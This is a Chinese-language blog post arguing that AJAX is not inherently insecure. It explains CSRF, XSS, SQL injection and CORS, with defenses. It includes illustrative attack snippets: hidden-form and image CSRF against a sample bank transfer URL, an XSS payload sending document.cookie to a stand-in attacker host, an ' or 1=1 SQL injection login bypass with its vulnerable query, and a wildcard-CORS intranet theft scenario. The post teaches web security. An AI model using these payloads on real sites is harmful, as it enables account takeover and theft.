AJAX請求真的不安全麼？談談Web安全與AJAX的關係。

dailc發表於2018-01-04
Web

開篇三問

  1. AJAX請求真的不安全麼？

  2. AJAX請求哪裡不安全？

  3. 怎麼樣讓AJAX請求更安全？

前言

本文包含的內容較多，包括AJAX，CORS，XSS，CSRF等內容，要完整的看完並理解需要付出一定的時間。

另外，見解有限，如有描述不當之處，請幫忙及時指出。

正文開始...

從入坑前端開始，一直到現在，AJAX請求都是以極高的頻率重複出現，也解決過不少AJAX中遇到的問題，如跨域除錯，錯誤除錯等等。

從這種，發現了一個共通現象：那就是每次和後臺人員對接時，他們都會提到AJAX請求不安全，請用普通http請求！

雖然很多時候，都是經過多翻口舌之爭後，最終後臺那邊妥協，允許部分符合條件的AJAX請求。但是，我卻很糾結一個問題：AJAX請求真的不安全麼？為什麼我自己寫後臺時並沒有發現這個問題？

於是，開始準備蒐集資料，結合自己已有的認知，整理成一份解決方案，分析AJAX請求真的不安全麼？哪裡不安全？，後續遇到類似的問題就直接向對方丟擲一篇文章

大綱

  • AJAX請求真的不安全麼

    • AJAX不安全的說法從何而來

  • 常見的幾種Web前端安全問題

    • CSRF簡介

    • CSRF與AJAX的關係

    • XSS簡介

    • XSS與AJAX的關係

    • SQL隱碼攻擊簡介

    • SQL隱碼攻擊與AJAX的關係

  • AJAX和HTTP請求的區別

  • CORS與AJAX安全性之間的關聯

    • CORS與AJAX關係的簡介

    • 為什麼要配置CORS？

    • CORS會配置些什麼資訊？

    • CORS Origin: *的安全性

  • 再看，AJAX請求真的不安全麼？

  • AJAX請求哪裡不安全？

  • 怎麼樣讓AJAX請求更安全？

AJAX請求真的不安全麼

首先，先說一個定論：AJAX請求是否安全，由服務端（後臺）決定

有這樣一個說法：如果某個Web應用具備良好的安全性，那麼再怎麼用“不安全的AJAX”也削弱不了它的安全性，反之如果應用本身存在漏洞，不管用何種技術請求，它都是不安全的

AJAX請求真的不安全麼？談談Web安全與AJAX的關係。

為何會有這種說法？因為在Web應用中，客戶端輸入不可信是一個基本原則

AJAX不安全的說法從何而來？

在AJAX出現時，那時的服務端還是很古老的那一批，因此完全沒有考慮到AJAX出現後，前端請求方式會變得異常複雜，造成以前的安全策略已經無法滿足要求了，導致大批的後臺安全漏洞曝光。。。

很顯然，都是因為AJAX出現後曝光了更多的安全漏洞，導致它看起來很危險（因為AJAX出現後，請求方式變多了，以前的架構在新的請求中就可能出現更多漏洞）

So，AJAX不安全的說法自然擴散到了各個角落。

常見的幾種Web前端安全問題

要知道AJAX請求是否安全，那麼就得先知道Web前端中到底有那幾種安全問題

1.XSS（跨站指令碼攻擊）（cross-site scripting）

    -> 偽造會話（基於XSS實現CSRF）
    
    -> 劫持cookie
    
    -> 惡意程式碼執行

2.CSRF（跨站請求偽造）（cross-site request forgery）

    -> 偽造使用者身份操作
    
3. SQL隱碼攻擊

...（其它暫且不提）
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AJAX請求真的不安全麼？談談Web安全與AJAX的關係。

如上，Web前端中的安全問題主要就是這幾大類（僅列舉部分做分析），所以我們首先要分析AJAX與這幾大類之間的關係。（XSS和CSRF，在下文也會做簡單介紹。）

CSRF簡介

CSRF，特徵很簡單：冒用使用者身份，進行惡意操作

時至今日，這項安全漏洞已經被人們剖析的很透徹了，隨便Google，百度之，都會找到很多的解釋。這裡也用一張圖來先做簡單描述：

（注，下面介紹參考了來源文章中的描述，譬如圖就是參考了來源中的博文後重繪的）

AJAX請求真的不安全麼？談談Web安全與AJAX的關係。

所以，我們看到關鍵條件是：

1. 採用cookie來進行使用者校驗

2. 登入受信任網站A，並在本地生成Cookie

3. 在不登出A的情況下，訪問危險網站B
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一般在(4)處惡意網站(B)的攻擊手段如下（必須是指向A的地址，否則無法帶上cookie）：

// 1.譬如在網站內的圖片資源中潛入惡意的轉賬操作
<img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width='0' height='0'>

// 2.構建惡意的隱藏表單，並通過指令碼提交惡意請求
<iframe style="display: none;" name="csrf-frame"></iframe>
<form method='POST' action='http://www.bank.example/transfer' target="csrf-frame" id="csrf-form">
  <input type='hidden' name='toBankId' value='hello'>
  <input type='hidden' name='amount' value='1000000'>
  <input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
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而且，從頭到尾，攻擊網站都沒有獲取到過 cookie，都是通過瀏覽器間接實現（利用Web的cookie隱式身份驗證機制），所以HttpOnly並不會影響這個攻擊

最後說下，幾種常見的CSRF防禦手段：

1. 驗證HTTP Referer欄位（非常簡單，但是鑑於客戶端並不可信任，所以並不是很安全）
（防止CSRF，檢查Referer欄位簡單直接，但是其完全依賴瀏覽器傳送正確的Referer欄位。
雖然http協議對此欄位的內容有明確的規定，但並無法保證來訪的瀏覽器的具體實現，
亦無法保證瀏覽器沒有安全漏洞影響到此欄位。並且也存在攻擊者攻擊某些瀏覽器，篡改其Referer欄位的可能。）

2. 在請求地址中新增token並驗證
（譬如post中，以引數的形式加入一個隨機產生的token）
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CSRF與AJAX的關係

上文中，我們看到CSRF的前提是cookie驗證使用者身份，那麼它與AJAX的關係大麼？

我們先分析AJAX中帶cookie驗證的情況：

1. AJAX受到瀏覽器的同源策略限制

2. AJAX預設無法請求跨域的介面
（當然後臺可以配置`Access-Control-Allow-Origin: *`之類的允許所有的跨域請求）

3. AJAX請求無法攜帶跨域cookie
（如果強行開啟withCredentials，必須服務端配合認證，無法用作攻擊）
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嗯哼...看到這，基本就可以認為CSRF與AJAX請求無緣了。。。

譬如假設上圖中第4部分的請求由AJAX發起，假設網站A已經允許了Access-Control-Allow-Origin: *，由於網站B與網站A是不同域名，所以存在跨域，根據同源策略，請求時根本就無法攜帶cookie，故而無法通過身份認證，攻擊失敗。。。 就算強行開啟withCredentials，攜帶跨域cookie，但是由於服務端並不會單獨配置網站B的跨域cookie（需配置Access-Control-Allow-Credentials: true，而且這時候不允許設定Allow-Origin: *），所以肯定認證失敗

可以看到，就算Access-Control-Allow-Origin: *允許所有來源的AJAX請求，跨域的cookie預設情況下仍然是無法攜帶的，無法CSRF

所以說，結論是：CSRF與AJAX無關

XSS簡介

既然CSRF與AJAX關係不大，那麼XSS應該會與AJAX有很大關係吧？（要不然為什麼一直說AJAX請求不安全，對吧。）。那麼請繼續看下去（本文中只限JS範疇）

XSS（cross-site scripting），看起來簡寫應該是css更合適。。。但是為了和層疊式樣式表區分，就用XSS簡寫表示

XSS的特徵也可以概括為：跨域指令碼注入，攻擊者通過某種方式將惡意程式碼注入到網頁上，然後其他使用者觀看到被注入的頁面內容後會受到特定攻擊

相比CSRF，XSS囊括的內容更多，而且往往是多種攻擊形式組合而成，這裡以前文中介紹的幾種為例：

AJAX請求真的不安全麼？談談Web安全與AJAX的關係。

1.cookie劫持

同樣，頁面中有一個評論輸入，輸入後會，因為後臺的漏洞，沒有過濾特殊字元，會直接明文儲存到資料庫中，然後展示到網頁時直接展示明文資料，那麼如下

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<form action="saveComment.jsp" method="post"> 
     請輸入評論內容：<BR> 
     <input name="content" type="text"> 
     <input type="submit" value="確認">
</form> 
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然後攻擊者分析後，輸入

<script>window.open("http://www.attackpage.com/record?secret=" + document.cookie)</script>
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儲存文章。很簡單的程式碼，由於沒有過濾指令碼，那麼其它使用者登陸後，在看到這篇文章時就會自動將他們的cookie資訊都傳送到了攻擊者的伺服器。 攻擊者可以在cookie（譬如jsessionid對應的session）有效期內拿它們冒充使用者操作。

需要注意，這裡和CSRF的區別是，這裡是拿到了cookie後主動冒充使用者的，而CSRF中根本就不知cookie，僅利用瀏覽器的隱式校驗方式冒充使用者。

2.會話偽造

同樣是評論漏洞的示例。

攻擊者輸入（舉例比喻）

<img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width='0' height='0'>
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然後，接下來發生的故事就和CSRF中提到的一致。這種情況就是基於XSS而開展的CSRF，也有人喜歡稱之為XSRF

需要注意，這裡並沒有自己拿到cookie，而是CSRF中提到的利用瀏覽器的隱式驗證機制來冒充使用者。

3.其它惡意程式碼執行

其實上面的cookie劫持以及會話偽造都算是惡意程式碼執行，為了區別，這裡就專指前端的流氓JS。

譬如前面的評論中的輸入可以是：

譬如市面上盛行的網頁遊戲彈窗等。
譬如干脆直接讓這個頁面卡死都可以。
譬如無限迴圈。
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這裡再提一點，上述都是從前端輸入作為入口的，但實際上有一類的輸入也不可忽視，那就是：富文字攻擊

它的特點就是： 富文字中注入了指令碼，並且前後端未進行過濾，導致直接輸出到了頁面中

因為存在很多頁面，都是將富文字內容展示到網頁上的，沒有進行過濾（哪怕時至今日，仍然有不少頁面），這樣只要富文字中有注入指令碼，基本就中招了。。。

結論：

只要最終能向頁面輸出可執行的指令碼語句，那麼就是有漏洞，XSS攻擊都有可能發生。

而且，基本上xss漏洞是很廣泛的，雖然攻擊型別很被動，也需要大量時間分析，但勝在大量的網站上都存在（特別是那種長期不更新的）

再提一點。上述的介紹更多的是從造成的後果來看，但其實如果從攻擊手動來看的話可以分為幾大型別：反射型XSS攻擊（直接通過URL注入，而且很多瀏覽器都自帶防禦），儲存型XSS攻擊（儲存到DB後讀取時注入），還有一個DOM-Based型。

上述示例中都是儲存型，具體更多內容網上已經有很詳細的資料，這裡不再繼續深入，放一張圖鞏固下。

AJAX請求真的不安全麼？談談Web安全與AJAX的關係。

如何預防XSS：

  • 輸入過濾，不信任使用者的任何輸入，過濾其中的“<”、“>”、“/”等可能導致指令碼注入的特殊字元， 或者過濾“script”、“javascript”等指令碼關鍵字，或者對輸入資料的長度進行限制等等， 還得考慮攻擊者使用十六進位制編碼來輸入指令碼的方式。

  • 輸出進行編碼，和輸入過濾類似，不過是從輸出上著手，資料輸出到頁面時，經過HtmlEncoder等工具編碼，這樣就不會存在直接輸出可執行的指令碼了

  • cookie設定http-only，這樣用指令碼就無法獲取cookie了 （這樣只有瀏覽器向Web伺服器發起請求的時才會帶上cookie欄位，避免了XSS攻擊利用JavaScript的document.cookie獲取cookie）

  • Cookie防盜，儘可能地避免在Cookie中洩露隱私，如使用者名稱、密碼等； 或者，為了防止重放攻擊，可以將Cookie和IP進行繫結，這樣也可以阻止攻擊者冒充正常使用者的身份。

  • 注意，特別是後臺，一定不能信任前端的輸入，需要過濾與校驗

XSS與AJAX的關係

以上分析了XSS造成一些影響與問題，仍然發現：與AJAX關係不大，因為這些問題不管用不用AJAX都會發生。

看看這種情況，譬如上述的富文字注入中：

1. 某個介面採用AJAX互動

2. AJAX請求完後將對應富文字欄位顯示到了頁面上-譬如innerHTML
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但是，這真的與AJAX無關，這是前後端沒有進行輸入輸出過濾而造成的後果。

所以，還是那句話：如果某個Web應用具備良好的安全性，那麼再怎麼用“不安全的AJAX”也削弱不了它的安全性，反之如果應用本身存在漏洞，不管用何種技術請求，它都是不安全的

SQL隱碼攻擊簡介

sql注入展開將也是一門很大的學問，很早以前更是大行其道（當然，現在...），這裡僅僅舉幾個最極端的示例。

前提是後臺沒有過濾前端的輸入資料，否則根本無法生效

假設頁面A中有一個登陸查詢存在拙劣的sql注入漏洞，這樣子的：（最極端，最傻的情況）

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<form action="login.jsp" method="post"> 
     請輸入使用者名稱與密碼：<BR> 
     <input name="name" type="text"> 
     <input name="password" type="text"> 
     <input type="submit" value="登陸">
</form> 
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在接收到登陸請求後，服務端的實際執行程式碼時是：

String sql = "SELECT * FROM  users  WHERE name = '" + name + "' AND password = '" + password + "'";
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然而有攻擊者分析出後臺可能存在漏洞，嘗試sql注入攻擊，輸入

name = ' or 1=1
password = anything
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那麼這樣，後臺接收到資料後，實際上查詢的結果是

SELECT * FROM  users  WHERE name = ' ' or 1=1  AND password = 'anything'  
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故而，攻擊者成功的繞過的使用者名稱，利用後臺漏洞登陸了。

當然了，像這類這麼低階的漏洞，現象幾乎已經不存在了，往往這型別漏洞需要仔細分析，耗時。（又或者是有內奸。。。）

SQL隱碼攻擊與AJAX的關係

額，從上述的示例中看不出和AJAX有什麼關係。但是我們可以這樣假設：

1. 有一個介面，接收AJAX post的資料

2. 資料中有一個欄位 'name'，後臺接收到後沒有進行過濾，直接如上面的演示一樣，執行sql語句了

3. 所以AJAX中如果給那個欄位傳入非法的注入資訊，就會觸發這個漏洞，導致攻擊生效
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對，就是這樣極端的情況下才會發生，而且與AJAX並沒有關係，因為換成任何一種其它請求都會有類似的情況。。。

所以說，結論是：SQL隱碼攻擊與AJAX無關

AJAX和HTTP請求的區別

從本質上將：AJAX就是瀏覽器發出的HTTP請求，只不過是瀏覽器加上了一個同源策略限制而已。

AJAX請求的XMLHTTPRequest物件就是瀏覽器開放給JS呼叫HTTP請求用的。

那麼AJAX和HTTP的區別呢？列出以下幾點：

  • AJAX請求受到瀏覽器的同源策略限制，存在跨域問題

  • AJAX在進行復雜請求時，瀏覽器會預先發出OPTIONS預檢（HTTP自己是不會預檢的）

  • 從使用角度上說，AJAX使用簡單一點，少了些底層細節，多了些瀏覽器特性（如自動帶上同域cookie等）

  • 所以說，和認證上的HTTP請求的區別就是-多了一次瀏覽器的封裝而已（瀏覽器會有自己的預處理，加上特定限制）

但是，從最終發出的報文來看，內容都是一樣的（HTTP協議規範的內容），AJAX是傳送HTTP請求的一種方式

所以從這一點可以得出一個結論：AJAX本質上安全性和HTTP請求一樣

AJAX請求真的不安全麼？談談Web安全與AJAX的關係。

CORS與AJAX安全性之間的關聯

按照前文中提到的內容，基本無法得出AJAX與請求不安全的關聯。那麼接下來，再繼續分析，如果使用了跨域資源共享（CORS）後的安全性。 (因為往往ajax都會伴隨著CORS)

CORS與AJAX關係的簡介

這是一個跨域共享方案，大致流程就是：（僅以複雜請求的預檢舉例-這一部分要求提前掌握CORS相關知識）

1. 前端AJAX請求前發出一個OPTIONS預檢，會帶一堆相關頭部傳送給服務端

2. 服務端在接受到預檢時，檢查頭部，來源等資訊是否合法，合法則接下來允許正常的請求，
否則直接無情的拒絕掉

3. 瀏覽器端如果收到服務端拒絕的資訊（響應頭部檢查），就丟擲對應錯誤。
否則就是正常的響應，接下來發出真正的請求（如POST）
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請求和響應的頭部資訊大概如下：

Request Headers

// 在CORS中專門作為Origin資訊供後端比對，表示來源域。
Origin: http://xxx
Access-Control-Request-Headers: X-Requested-With
// 所有用setRequestHeader方法設定的頭部都將會以逗號隔開的形式包含在這個頭中，一般POST請求中就會帶上
Access-Control-Request-Method: OPTIONS
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Response Headers

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: http://xxx
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最終，客戶端發出的請求，必須符合服務端的校驗規則才能正確，服務端才會返回正確頭部，否則只會請求失敗。報跨域錯誤。

以上僅是簡介，更多資訊可以參考來源中的ajax跨域，這應該是最全的解決方案了

為什麼要配置CORS？

因為同源策略限制，AJAX無法請求跨域資源，CORS可以解決AJAX跨域請求問題。

因此：在本文中，配置CORS只是為了AJAX能跨域請求

CORS會配置些什麼資訊？

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: http://xxx
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如上，加上這個配置後，必須符合要求的才算是正常的請求，否則就會拒絕掉，一般AJAX跨域的話都會有OPTIONS，所以在預檢中就做了這一步。

可以看到，關鍵的可變資訊是：Access-Control-Allow-Origin: http://xxx

這個配置就是域名白名單，規定在什麼樣的域名下才能進行AJAX跨域請求。

CORS Origin: *的安全性

關鍵問題來了，在上面的CORS配置是這樣的：

Access-Control-Allow-Origin: http://xxx
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但是這個配置只允許特定域名訪問，鑑於前端的複雜性，有時候除錯起來不是很方便，因此有時候，會偷懶的設定為：

Access-Control-Allow-Origin: *
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這個代表所有來源的跨域AJAX請求都能正常響應。

接下來我們再來分析設定Origin: *可能帶來哪些問題。（都是基於AJAX的情況）

問題1：會對cookie認證造成影響麼？

不會。雖然*代表了所有來源都能正常請求，但是同源策略下，是無法帶上跨域cookie的。因此根本無法用身份驗證。

而且，就算用withCredentials強行帶上跨域cookie，因為後臺沒有支援，所以會報錯。（這可以看成是CORSs模型的最後一道防線）

再者，後臺就算配置Access-Control-Allow-Credentials允許跨域cookie，但是這時候的安全策略是Origin不允許為*，必須是一個明確的地址。 （否則你就可以看到瀏覽器的報錯資訊-跨域cookie時，Origin不允許為*）

問題2：如果偽造Origin頭部呢？

首先，標準的瀏覽器中是不允許你偽造的（除非有嚴重漏洞），所以一般需要通過模擬客戶端請求偽造。

但是。在非瀏覽器情況下，本來就沒有同源策略。這又是何必。。。

所以說，偽造Origin與CORS並沒有關係。

問題3：如果後臺本來就存在漏洞呢？

做這樣一個假設，假設使用者所在網路的內網中有一臺內網伺服器，並且配置了允許所有的跨域請求：（當然，外網是請求不到內網的）

// 允許任何來自任意域的跨域請求
Access-Control-Allow-Origin: *
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再假設內網伺服器上恰巧存在敏感資源，並且沒有額外設防，只要內網就能訪問。譬如：

192.168.111.23/users.md
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然後使用者訪問了惡意網頁，而像HTML之類的網頁都是下載到本地執行的， 正好網頁內有惡意程式碼，去向192.168.111.23/users.md請求資源，再將接收到的服務端返回傳送到攻擊者伺服器。 （因為加了Origin為*，而且AJAX是由本地瀏覽器發出的，所以使用者下載到本地的惡意網站是可以訪問到使用者內網中的後臺的）

然後這些敏感資料就這樣被盜取了。

But，這是因為服務端漏洞而存在的問題，設定Origin為的後臺上為何要放置敏感資源？正常設定為Origin為的最大作用是用作公共API。 而且更重要的是，為何敏感資源就這樣輕易的被獲取了？為什麼沒有二次驗證？

SO，後臺本身有漏洞，所以才導致被攻擊，AJAX恰好是攻擊的手段之一（除了AJAX外還會有其它的方式），所以很多鍋都甩到了AJAX頭上。

這樣，可以得出一個保守點的結論：

Origin如果不是*，AJAX請求並不會有安全問題，如果是*，可能會由於後臺的漏洞，不經意間，AJAX就被作為一種攻擊手段了，導致了出現AJAX不安全的說法

AJAX請求真的不安全麼？談談Web安全與AJAX的關係。

再看，AJAX請求真的不安全麼？

仍然是最初的結論：

如果某個Web應用具備良好的安全性，那麼再怎麼用“不安全的AJAX”也削弱不了它的安全性，反之如果應用本身存在漏洞，不管用何種技術請求，它都是不安全的

我們可以看到，XSS也好，CSRF也好，以及其它隱藏的可能漏洞也好，本質上都是後臺已有漏洞造成的問題，AJAX最多是被用作一種攻擊手段（甚至某些裡面AJAX還無法使用）

提到AJAX請求不安全的，譬如有CORS裡面配置Origin: *造成某些極端情況下能通過AJAX發出攻擊。但事實上這也是其中的一種攻擊手段而已，沒有AJAX，該不安全的仍然不安全。

譬如還有的說法是：因為在AJAX出現以前，如果出現安全漏洞，容易被察覺，但AJAX是非同步的，更容易隱式的出現安全問題。。。這也與安全性的本質無關。

最重要一點，從Web應用安全形度來談，Web應用必須從不信任客戶端。所以不要再把鍋甩給AJAX。

AJAX請求哪裡不安全？

同上，AJAX本身並不存在這種安全問題。

不過有一點需注意，如果使用了CORS方案。

1. Allow-Origin可以設定特定的值，過濾特定的白名單

2. 對於一些公共的API，可以直接將Allow-Origin設定為`*`

3. 當然，如果確認後臺沒有這些隱藏漏洞，可以直接使用`*`，畢竟也只是針對瀏覽器的同源策略而已，影響沒有那麼大。
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怎麼樣讓AJAX請求更安全？

仍然是文中反覆提到的結論：

讓Web後臺更安全，則AJAX請求也更安全，反之後臺有漏洞，不管怎麼樣都是不安全的

寫在最後的話

這樣的話，應該可以把AJAX不安全的鍋甩掉了吧？

附錄

參考資料

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